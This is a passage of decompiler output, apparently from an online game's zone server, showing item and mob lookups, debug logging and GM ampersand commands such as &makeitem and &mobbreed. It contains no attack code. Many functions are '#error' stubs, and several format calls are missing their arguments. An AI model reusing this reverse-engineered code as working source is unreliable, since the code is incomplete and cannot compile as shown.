0; while ( v3 && v5 < v2->as_Safe._Mylast - v3 ) { if ( v3[v4].ab_Master == regnum ) { v6 = (int)&v3[v5]; goto LABEL_17; } ++v5; ++v4; } v7 = 0; v8 = 0; while ( v3 && v7 < v2->as_Safe._Mylast - v3 ) { if ( v3[v8].ab_Master == -1 ) { v3[v7].ab_Master = regnum; v6 = (int)&v2->as_Safe._Myfirst[v7]; goto LABEL_17; } ++v7; ++v8; } tmp.ab_List._Myfirst = 0; tmp.ab_List._Mylast = 0; tmp.ab_List._Myend = 0; LOBYTE(v13) = 1; tmp.ab_Master = regnum; std::vector>::push_back( &v2->as_Safe, &tmp); v9 = v2->as_Safe._Myfirst; if ( v9 ) v10 = v2->as_Safe._Mylast - v9; else v10 = 0; v6 = (int)&v9[v10 - 1]; LABEL_17: --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateShelter::AbstateShelter::operator []"); return (AbnormalStateShelter::AbstateBuffer *)v6; } //----- (004112B0) -------------------------------------------------------- #error "4112B0: undefined or illegal type '#325' (funcsize=40)" //----- (00411370) -------------------------------------------------------- void __thiscall Name3::Name3(Name3 *this, const char *str) { *(_QWORD *)&this->n3_name[4] = 0i64; *(_DWORD *)&this->n3_name[0] = 0; strncpy(this->n3_name, str, 0xCu); } //----- (004113A0) -------------------------------------------------------- void __thiscall Name3::operator_(Name3 *this, const char *nm) { *(_QWORD *)&this->n3_name[4] = 0i64; *(_DWORD *)&this->n3_name[0] = 0; strncpy(this->n3_name, nm, 0xCu); } //----- (004113C0) -------------------------------------------------------- void __thiscall Name4::Name4(Name4 *this, const char *str) { *(_QWORD *)&this->n4_name[8] = 0i64; *(_QWORD *)&this->n4_name[0] = 0i64; strncpy(this->n4_name, str, 0x10u); } //----- (004113F0) -------------------------------------------------------- int __thiscall ORToken::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); result = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 16) = result; return result; } //----- (00411420) -------------------------------------------------------- void __thiscall ORToken::ORToken(ORToken *this, const char *str) { *(_QWORD *)&this->ort_Name[12] = 0i64; *(_QWORD *)&this->ort_Name[4] = 0i64; *(_DWORD *)&this->ort_Name[0] = 0; strncpy(this->ort_Name, str, 0x14u); } //----- (00411450) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name3 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n3_name[0]; *((_DWORD *)result + 2) = *(_DWORD *)&a->n3_name[8]; result[12] = 0; return result; } //----- (00411490) -------------------------------------------------------- void __thiscall AxialListMobSuicide::_AxialListMobSuicide(AxialListMobSuicide *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A473C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #325 *obj, int distancesquar); //----- (004114A0) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromName(AbnormalStateDictionary::AbState *this, char *sklname) { AbnormalStateDictionary::AbState *v2; // esi@1 int v3; // eax@1 AbnormalStateDictionary::AbState::AbStateStr *result; // eax@4 v2 = this; v3 = BTree::operator__(&this->as_BTreeID, sklname); if ( v3 == -1 ) LOWORD(v3) = -1; v3 = (unsigned __int16)v3; if ( v2->as_maxhandle >= (unsigned __int16)v3 ) { result = &v2->as_AbstateArray[v3]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v3); result = 0; } return result; } //----- (00411500) -------------------------------------------------------- SpecialItemIdent *__thiscall ItemDataBox::idb_SpecialItems(ItemDataBox *this) { return &this->idb_specialid; } //----- (00411510) -------------------------------------------------------- unsigned __int16 __thiscall ItemDataBox::idb_2itemid(ItemDataBox *this, const char *itemindex) { unsigned int v2; // eax@1 v2 = BTree::operator__(&this->idb_btree, itemindex); if ( v2 == -1 ) LOWORD(v2) = -1; return v2; } //----- (00411530) -------------------------------------------------------- ItemDataBox::ItemDataBoxIndex *__thiscall ItemDataBox::operator__(ItemDataBox *this, unsigned __int16 Itemid) { ItemDataBox::ItemDataBoxIndex *result; // eax@2 if ( Itemid < this->idb_maxItemhandle ) { result = &this->idb_index[Itemid]; if ( result ) { if ( result->data ) { if ( result->data->ID == Itemid ) return result; AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", result->data->ID + 10000 * Itemid); } } } return 0; } //----- (00411590) -------------------------------------------------------- unsigned __int16 __thiscall MobDataBox::mdb_2MobID(MobDataBox *this, const char *mobindex) { unsigned int v2; // eax@1 v2 = BTree::operator__(&this->mdb_btree, mobindex); if ( v2 == -1 ) LOWORD(v2) = -1; return v2; } //----- (004115B0) -------------------------------------------------------- void __thiscall DebugLogging::DebugLogging(DebugLogging *this, char *filename) { char *v2; // esi@1 v2 = strcpy(this->dl_FileName, filename); *((_DWORD *)v2 + 64) = 0; EraseOldLogList(filename); v2[644] = 1; } //----- (004115F0) -------------------------------------------------------- char *__thiscall DebugLogging::dl_MakeFileName(DebugLogging *this) { DebugLogging *v1; // edi@1 char *result; // eax@3 DebugLogging *timevar; // [sp+0h] [bp-4h]@1 timevar = this; v1 = this; if ( DebugLogging::dl_ActivAll && this->dl_Activ ) { mysecond((int *)&timevar); localtime((const int *)&timevar); sprintf(v1->dl_Date, "%04d%02d%02d"); sprintf(v1->dl_Time, "%02d:%02d:%02d"); sprintf(v1->dl_FullFileName, "%s%s%02d.txt"); result = v1->dl_FullFileName; } else { result = this->dl_FullFileName; this->dl_FullFileName[0] = 0; } return result; } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004116A0) -------------------------------------------------------- _iobuf *__thiscall DebugLogging::dl_FilePoint(DebugLogging *this) { DebugLogging *v1; // esi@1 _iobuf *result; // eax@1 _iobuf *v3; // eax@5 v1 = this; result = this->dl_FilePointer; if ( !result ) { if ( !*DebugLogging::dl_MakeFileName(this) ) { v1->dl_FilePointer = 0; return 0; } v3 = fopen(v1->dl_FullFileName, "a+"); v1->dl_FilePointer = v3; if ( !v3 ) return 0; fprintf(v3, "%s : "); result = v1->dl_FilePointer; } return result; } //----- (00411700) -------------------------------------------------------- DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, char *str) { DebugLogging *v2; // esi@1 char buf[256]; // [sp+4h] [bp-104h]@3 v2 = this; if ( DebugLogging::dl_ActivAll ) { if ( this->dl_Activ ) { sprintf(buf, "%.255s"); DebugLogging::dl_FilePoint(v2); if ( v2->dl_FilePointer ) fputs(buf, v2->dl_FilePointer); } } return v2; } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00411780) -------------------------------------------------------- void __thiscall DebugLogging::operator<<(DebugLogging *this, DebugLineFeed *lf) { DebugLogging *v2; // esi@1 _iobuf *v3; // eax@4 v2 = this; if ( DebugLogging::dl_ActivAll && this->dl_Activ ) { if ( this->dl_FilePointer ) { v3 = DebugLogging::dl_FilePoint(this); fputc(10, v3); fflush(v2->dl_FilePointer); fclose(v2->dl_FilePointer); v2->dl_FilePointer = 0; } } } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004117E0) -------------------------------------------------------- int __thiscall FieldMap::fm_IsBlock(int this, int x, int y, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { return mbi_blockfunction(*(_DWORD *)(this + 20), x, y); } //----- (00411800) -------------------------------------------------------- char __thiscall FieldMap::fm_DropFilm(int this, char *scriptname) { return Movie::CinemaComplex::cc_DropFilm(*(Movie::CinemaComplex **)(this + 68), scriptname); } //----- (00411810) -------------------------------------------------------- void __thiscall FieldMap::fm_ScriptInterrupt(int this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg) { Movie::CinemaComplex::cc_ScriptInterrupt(*(Movie::CinemaComplex **)(this + 68), checkfunc, arg); } //----- (00411820) -------------------------------------------------------- int __thiscall FieldMap::fm_GetFieldBonus(void *this) { return (int)((char *)this + 76); } //----- (00411830) -------------------------------------------------------- char __thiscall CharacterPassiveList::cpl_IsLearn(CharacterPassiveList *this, unsigned __int16 skill) { return (this->cpl_Passive.bs_bitlist[skill / 8] & (unsigned __int8)(1 << skill % 8)) != 0; } //----- (00411870) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_GetLayer(int this) { return *(_DWORD *)(this + 94); } //----- (00411880) -------------------------------------------------------- MapInfo *__thiscall MapDataBox::operator__(MapDataBox *this, unsigned __int16 mapid) { MapInfo *result; // eax@2 if ( mapid < this->mdb_maxmapid ) result = this->mdb_index[mapid]; else result = 0; return result; } //----- (004118A0) -------------------------------------------------------- unsigned __int16 __thiscall MapDataBox::mdb_2mapid(MapDataBox *this, const char *mapindex) { return BTree::operator__(&this->mdb_btree, mapindex); } //----- (004118C0) -------------------------------------------------------- void __thiscall DropItemStruct::ItemGroup::ItemGroup(ORKeyList::KeyElement *this) { *(_QWORD *)&this->key.ort_Name[12] = 0i64; *(_QWORD *)&this->key.ort_Name[4] = 0i64; *(_DWORD *)&this->key.ort_Name[0] = 0; } //----- (004118E0) -------------------------------------------------------- void __thiscall AxialListDoorAction::_AxialListDoorAction(AxialListDoorAction *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDoorAction::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A47B4: using guessed type int (__stdcall *AxialListDoorAction___vftable_)(int, int, int distancesquar); //----- (004118F0) -------------------------------------------------------- void __thiscall PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(PROTO_KQ_MAP_INFO *this) { *(_QWORD *)&this->MapBase.n3_name[4] = 0i64; *(_DWORD *)&this->MapBase.n3_name[0] = 0; *(_QWORD *)&this->MapName.n3_name[4] = 0i64; *(_DWORD *)&this->MapName.n3_name[0] = 0; } //----- (00411910) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_LinktoSaveData(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData((int)sp); } //----- (00411930) -------------------------------------------------------- #error "411930: undefined or illegal type '#434' (funcsize=113)" //----- (00411A80) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)AmpersandCommand::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5A48C0: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (00411AA0) -------------------------------------------------------- int __thiscall std::basic_string_std::allocator>::compare(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _N0, const char *_Ptr, unsigned int _Count) { std::basic_string,std::allocator > *v5; // esi@1 unsigned int v6; // edx@3 int v7; // ecx@6 int v8; // eax@9 int result; // eax@11 v5 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v6 = _N0; if ( this->_Mysize - _Off < _N0 ) v6 = this->_Mysize - _Off; if ( !v6 ) goto LABEL_17; v7 = v6; if ( v6 >= _Count ) v7 = _Count; v8 = (int)(v5->_Myres < 0x10 ? &v5->_Bx : *(_DWORD *)&v5->_Bx._Buf[0]); result = strncmp((const char *)(v8 + _Off), _Ptr, v7); if ( !result ) { LABEL_17: if ( v6 >= _Count ) result = v6 != _Count; else result = -1; } return result; } //----- (00411B20) -------------------------------------------------------- void __thiscall ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this) { ListIter_AmpCmdArgument *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIter_AmpCmdArgument::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5A4864: using guessed type int (__stdcall *ListIter_AmpCmdArgument___vftable_)(int ele, __int16 handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00411BA0) -------------------------------------------------------- #error "411BA0: undefined or illegal type '#434' (funcsize=78)" //----- (00411CE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_AmpersandCommand(void *this, __int16 handle, int chat) { void *v3; // esi@1 char result; // al@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_BYTE *)(chat + 1) == 38 ) { if ( *(_BYTE *)chat > 0x64u ) { *(_BYTE *)chat = 100; *(_BYTE *)(chat + 101) = 0; } (*(void (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v3 + 2312))(v3, chat + 1, *(_BYTE *)chat); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); result = 0; } return result; } //----- (00411DD0) -------------------------------------------------------- void __thiscall AmpersandCommand::_AmpersandCommand(AmpersandCommand *this) { AmpersandCommand *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; _eh_vector_destructor_iterator_( this->ac_command, 0x28u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5A48C0: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (00411E40) -------------------------------------------------------- #error "411E40: undefined or illegal type '#434' (funcsize=30)" //----- (00411EE0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_TempLinkUsage(AmpersandCommand *this, #434 *sp) { AmpersandCommand *v2; // esi@1 v2 = this; AmpersandCommand::ac_wall( this, sp, "usage : &templink [ []]"); AmpersandCommand::ac_wall( v2, sp, "ex : &mobbreed 10 Rou Rou 7828 4325 1 150 0"); AmpersandCommand::ac_wall(v2, sp, "note : Permanantly change if linknumber is large then 10000"); AmpersandCommand::ac_wall(v2, sp, " : Gate Close if linknumber is -1"); } //----- (00411F20) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobBreedUsage(AmpersandCommand *this, #434 *sp) { AmpersandCommand *v2; // esi@1 v2 = this; AmpersandCommand::ac_wall( this, sp, "usage : &mobbreed [ [ []]]"); AmpersandCommand::ac_wall( v2, sp, "ex : &mobbreed Slime 3 0 n 1 - - 2"); } //----- (00411F50) -------------------------------------------------------- int __thiscall AmpersandCommand::ac_Scanf(AmpersandCommand *this, char *buf) { int v2; // esi@1 AmpersandCommand *num; // [sp+0h] [bp-4h]@1 num = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_Scanf"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_Scanf"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; sscanf(buf, "%d"); v2 = (int)num; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_Scanf"); return v2; } //----- (00411FD0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_Store(AmpersandCommand *this, char *cmd, int adlev, void (__thiscall *func)(AmpersandCommand *, unsigned __int16, #434 *, int, char (*)[33])) { unsigned __int16 v4; // ax@1 int v5; // esi@2 int v6; // esi@7 int v7; // [sp+18h] [bp+10h]@0 int v8; // [sp+1Ch] [bp+14h]@0 int v9; // [sp+20h] [bp+18h]@0 v4 = this->baseclass_0.l_Finger.empty; if ( v4 == -1 ) v5 = 0; else v5 = ((int (__stdcall *)(unsigned __int16))this->baseclass_0.vfptr->l_AllocZ)(v4); if ( v5 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Too many AmpersandCommand", 0); ShineExit("AmpersandCommand::ac_Store"); } *(_DWORD *)(v5 + 16) = 0; *(_DWORD *)(v5 + 12) = 0; *(_DWORD *)(v5 + 8) = 0; *(_DWORD *)(v5 + 4) = 0; *(_DWORD *)v5 = 0; strncpy((char *)v5, cmd, 0x14u); *(_DWORD *)(v5 + 20) = adlev; v6 = v5 + 24; *(_DWORD *)v6 = func; *(_DWORD *)(v6 + 4) = v7; *(_DWORD *)(v6 + 8) = v8; *(_DWORD *)(v6 + 12) = v9; } //----- (00412060) -------------------------------------------------------- #error "412060: undefined or illegal type '#434' (funcsize=67)" //----- (00412160) -------------------------------------------------------- #error "412160: undefined or illegal type '#434' (funcsize=48)" //----- (00412220) -------------------------------------------------------- #error "412220: undefined or illegal type '#434' (funcsize=39)" //----- (004122D0) -------------------------------------------------------- #error "4122D0: undefined or illegal type '#434' (funcsize=50)" //----- (004123B0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ServerIndex(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_SrverIndex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_SrverIndex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AmpersandCommand::ac_wall(v5, sp, "20110105-Hero[dev]-0-r69615"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_SrverIndex"); } //----- (00412450) -------------------------------------------------------- #error "412450: undefined or illegal type '#434' (funcsize=180)" //----- (004126D0) -------------------------------------------------------- #error "4126D0: undefined or illegal type '#434' (funcsize=111)" //----- (00412850) -------------------------------------------------------- #error "412850: undefined or illegal type '#434' (funcsize=80)" //----- (004129A0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_Timer(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 __int16 v6; // ax@1 char *v7; // ecx@3 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@3 int v9; // [sp+1Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_Timer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_Timer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v6 ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2064; v7[2] = 1; *(_WORD *)(v7 + 3) = v6; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v9) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alchat, 1); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AmpersandCommand::ac_wall(v5, sp, "sec needed"); } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_Timer"); } //----- (00412AA0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_GuildCollectClear(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_GuildCollectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_GuildCollectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_GuildCollectClear"); } //----- (00412AF0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_GuildCollectSet(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_GuildCollectSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_GuildCollectSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_GuildCollectSet"); } //----- (00412B40) -------------------------------------------------------- #error "412B40: undefined or illegal type '#740' (funcsize=105)" //----- (00412CD0) -------------------------------------------------------- #error "412CD0: undefined or illegal type '#434' (funcsize=50)" //----- (00412DC0) -------------------------------------------------------- #error "412DC0: undefined or illegal type '#325' (funcsize=44)" //----- (00412E80) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_OXBlock(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 char v6; // al@1 bool v7; // zf@1 MapBlock::DoorAction v8; // esi@2 AxialListDoorAction alda; // [sp+8h] [bp-18h]@5 int v10; // [sp+1Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = (*arg)[0]; v7 = (*arg)[0] == 79; v10 = 0; if ( v7 ) { v8 = 1; } else { if ( v6 != 67 ) { AmpersandCommand::ac_wall(v5, sp, (char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[3].mts_LastHit); goto LABEL_7; } v8 = 0; } AxialListIterator::AxialListIterator(&alda.baseclass_0); alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDoorAction::_vftable_; alda.alda_BlockIndex = (char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[4].mts_LastHit; alda.alda_DoorAction = v8; LOBYTE(v10) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alda, 0); LOBYTE(v10) = 0; alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDoorAction::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alda); LABEL_7: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } // 5A47B4: using guessed type int (__stdcall *AxialListDoorAction___vftable_)(int, int, int distancesquar); //----- (00412F90) -------------------------------------------------------- #error "412F90: undefined or illegal type '#434' (funcsize=148)" //----- (004131E0) -------------------------------------------------------- #error "4131E0: undefined or illegal type '#434' (funcsize=184)" //----- (00413490) -------------------------------------------------------- #error "413490: undefined or illegal type '#434' (funcsize=95)" //----- (004135B0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MakeItem(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // ST10_4@1 CServerInfo::MY_SERVER *v7; // eax@1 unsigned int v8; // eax@1 int v9; // edi@3 ItemAttributeClass *v10; // esi@7 signed int v11; // ebp@7 char *v12; // ebx@7 int v13; // edx@11 unsigned __int16 v14; // cx@13 int v15; // edx@15 ItemRandomOption::RandomOptionDatum *v16; // edi@17 ItemOptionStorage *v17; // eax@17 char *v18; // [sp+10h] [bp-B8h]@4 ItemTotalInformation iti; // [sp+28h] [bp-A0h]@1 char buffer[32]; // [sp+98h] [bp-30h]@7 unsigned int v21; // [sp+B8h] [bp-10h]@22 int v22; // [sp+C4h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.mta_InstanceTarget); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.mta_InstanceTarget; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; v6 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v7 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&iti, 0, v7->nZoneNo, v6); v8 = BTree::operator__(&stru_125739F0, (const char *)arg); if ( v8 == -1 ) LOWORD(v8) = -1; v9 = (unsigned __int16)v8; iti.iti_itemstruct.itemid = v8; if ( ItemDataBox::operator__(&itemdatabox, v8) ) { if ( ItemDataBox::operator__(&itemdatabox, v9)->data ) { v10 = ItemAttributeClassContainer::operator__(&itmattcontainer, v9); v10->vfptr->iac_itemcreate( v10, v9, &iti, (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); sprintf(buffer, (const char *)&stru_5A4E3C.maa_TargetSelect.bout.mtb_targetlist); v10->vfptr->iac_itemcreate(v10, v9, &iti, buffer); v11 = 1; v12 = &(*arg)[33]; do { if ( *v12 != 45 ) break; v10->vfptr->iac_itemcreate(v10, v9, &iti, v12); ++v11; v12 += 33; } while ( v11 < 12 ); if ( (unsigned __int16)v9 < (unsigned int)dword_125739EC ) { v13 = dword_12574188 + 28 * (unsigned __int16)v9; if ( v13 ) { if ( *(_DWORD *)v13 ) { v14 = **(_WORD **)v13; if ( v14 == (_WORD)v9 ) { v15 = *(_DWORD *)(v13 + 4); if ( v15 ) { if ( v15 != -146 ) { v16 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, (char *)(v15 + 146)); v17 = v10->vfptr->iac_GetItemOptionStruct(v10, &iti.iti_itemstruct); if ( v16 ) { if ( v17 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v17, v16); } } } } else { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * (unsigned __int16)v9); } } } } ShineObjectClass::ShinePlayer::sp_MakeItem((void *)sp, handle, (int)&iti); } else { AmpersandCommand::ac_wall( v5, sp, (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current.distsquar); } v18 = (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.mta_InstanceTarget; } else { v18 = (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.mta_InstanceTarget; } --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); __security_check_cookie(v21); } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (00413810) -------------------------------------------------------- #error "413810: undefined or illegal type '#434' (funcsize=36)" //----- (004138C0) -------------------------------------------------------- #error "4138C0: undefined or illegal type '#434' (funcsize=136)" //----- (00413AB0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questrecieve(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A4E3C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current); } //----- (00413B00) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questgiveup(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( 